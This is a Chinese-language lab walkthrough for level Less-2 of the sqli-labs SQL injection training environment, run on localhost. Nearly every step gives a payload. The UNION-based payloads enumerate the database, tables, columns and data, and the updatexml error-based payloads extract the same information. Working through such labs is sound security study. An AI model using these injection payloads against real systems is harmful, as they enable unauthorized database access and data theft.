sqli-labs2
1.按照路径http://localhost/sqli-labs/sqli-labs-master/Less-2/进入
2.确认注入类型----数字型
Payload:?id=1 and 1=1--+
3. 判断注入点:2,3
Payload:id=-1 union select 1,2,3 --+
4.根据注入点查询数据库名----security
Payload:id=-1 union select 1,database(),3 --+
5.查询指定数据库名下的表名
Payload:id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+
6.查询指定表----emails下的字段名
Payload:
id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='emails'--+
7.查询指定字段名:id
Payload:
id=-1 union select 1,id,3 from emails--+
报错注入:
爆数据库名:
Payload:id=1 and(select updatexml(1,concat(0x7e,(select database())),0x7e))
爆表名:
Payload:id=1 and(select updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),0x7e))
爆字段名:
Payload:id=1 and(select updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name="users")),0x7e))
爆数据:
Payload:id=1 and(select updatexml(1,concat(0x7e,(select group_concat("username")from emails)),0x7e))